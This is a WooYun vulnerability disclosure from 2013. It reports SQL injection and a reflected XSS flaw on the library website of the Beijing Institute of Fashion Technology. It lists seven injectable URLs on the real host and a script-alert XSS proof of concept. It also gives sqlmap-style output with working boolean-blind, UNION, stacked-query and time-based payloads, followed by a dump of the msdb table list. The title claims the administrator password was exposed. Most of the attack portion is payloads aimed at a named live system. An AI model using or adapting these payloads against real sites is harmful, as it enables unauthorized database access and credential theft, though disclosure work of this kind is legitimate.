当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-023567

漏洞标题：北京服装学院图书馆sql注入漏洞,管理员密码泄露

相关厂商：北京服装学院

漏洞作者： niliu

提交时间：2013-05-13 11:29

修复时间：2013-06-27 11:29

公开时间：2013-06-27 11:29

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-05-13： 积极联系厂商并且等待厂商认领中，细节不对外公开
2013-06-27： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

sql注入

详细说明：

http://lib.bift.edu.cn:80/detail.asp?map=/movement/20121231104547691.jpg&id=11


http://lib.bift.edu.cn:80/Test2012/piao_deal.asp?page=2


http://lib.bift.edu.cn:80/vote_idea.asp?page=2


http://lib.bift.edu.cn:80/Test2012/piao.asp?bk=&page=2


http://lib.bift.edu.cn:80/Test2012/piao.asp?bk=88888


http://lib.bift.edu.cn:80/briefInf.asp?page=2


http://lib.bift.edu.cn:80/acNavi.asp?page=2


这么多..还不是全部 还有xss

http://lib.bift.edu.cn:80/Test2012/piao.asp?bk=88888<script>alert(1);</sCript>

漏洞证明：

Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: map=/movement/20121231104547691.jpg&id=11 AND 2820=2820
    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: map=/movement/20121231104547691.jpg&id=-3633 UNION ALL SELECT NULL, NULL, NULL, NULL, CHAR(58)+CHAR(104)+CHAR(113)+CHAR(110)+CHAR(58)+CHAR(108)+CHAR(108)+CHAR(78)+CHAR(111)+CHAR(106)+CHAR(98)+CHAR(105)+CHAR(102)+CHAR(73)+CHAR(79)+CHAR(58)+CHAR(102)+CHAR(110)+CHAR(98)+CHAR(58), NULL--
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: map=/movement/20121231104547691.jpg&id=11; WAITFOR DELAY '0:0:5';--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: map=/movement/20121231104547691.jpg&id=11 WAITFOR DELAY '0:0:5'--
---
Database: msdb
[79 tables]
+---------------------------------+
| dbo.AutoSqljob                  |
| dbo.RTblClassDefs               |
| dbo.RTblDBMProps                |
| dbo.RTblDBXProps                |
| dbo.RTblDTMProps                |
| dbo.RTblDTSProps                |
| dbo.RTblDatabaseVersion         |
| dbo.RTblEQMProps                |
| dbo.RTblEnumerationDef          |
| dbo.RTblEnumerationValueDef     |
| dbo.RTblGENProps                |
| dbo.RTblIfaceDefs               |
| dbo.RTblIfaceHier               |
| dbo.RTblIfaceMem                |
| dbo.RTblMDSProps                |
| dbo.RTblNamedObj                |
| dbo.RTblOLPProps                |
| dbo.RTblParameterDef            |
| dbo.RTblPropDefs                |
| dbo.RTblProps                   |
| dbo.RTblRelColDefs              |
| dbo.RTblRelshipDefs             |
| dbo.RTblRelshipProps            |
| dbo.RTblRelships                |
| dbo.RTblSIMProps                |
| dbo.RTblScriptDefs              |
| dbo.RTblSites                   |
| dbo.RTblSumInfo                 |
| dbo.RTblTFMProps                |
| dbo.RTblTypeInfo                |
| dbo.RTblTypeLibs                |
| dbo.RTblUMLProps                |
| dbo.RTblUMXProps                |
| dbo.RTblVersionAdminInfo        |
| dbo.RTblVersions                |
| dbo.RTblWorkspaceItems          |
| dbo.backupfile                  |
| dbo.backupmediafamily           |
| dbo.backupmediaset              |
| dbo.backupset                   |
| dbo.log_shipping_primaries      |
| dbo.log_shipping_secondaries    |
| dbo.logmarkhistory              |
| dbo.mswebtasks                  |
| dbo.restorefile                 |
| dbo.restorefilegroup            |
| dbo.restorehistory              |
| dbo.siweb3file                  |
| dbo.sqlagent_info               |
| dbo.sysalerts                   |
| dbo.syscachedcredentials        |
| dbo.syscategories               |
| dbo.sysconstraints              |
| dbo.sysdbmaintplan_databases    |
| dbo.sysdbmaintplan_history      |
| dbo.sysdbmaintplan_jobs         |
| dbo.sysdbmaintplans             |
| dbo.sysdownloadlist             |
| dbo.sysdtscategories            |
| dbo.sysdtspackagelog            |
| dbo.sysdtspackages              |
| dbo.sysdtssteplog               |
| dbo.sysdtstasklog               |
| dbo.sysjobhistory               |
| dbo.sysjobs                     |
| dbo.sysjobs_view                |
| dbo.sysjobschedules             |
| dbo.sysjobservers               |
| dbo.sysjobsteps                 |
| dbo.sysnotifications            |
| dbo.sysoperators                |
| dbo.syssegments                 |
| dbo.systargetservergroupmembers |
| dbo.systargetservergroups       |
| dbo.systargetservers            |
| dbo.systargetservers_view       |
| dbo.systaskids                  |
| dbo.systasks                    |
| dbo.systasks_view               |
+---------------------------------+


2222.png


1212.png


beifu.png

修复方案：

过滤

版权声明：转载请注明来源 niliu@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝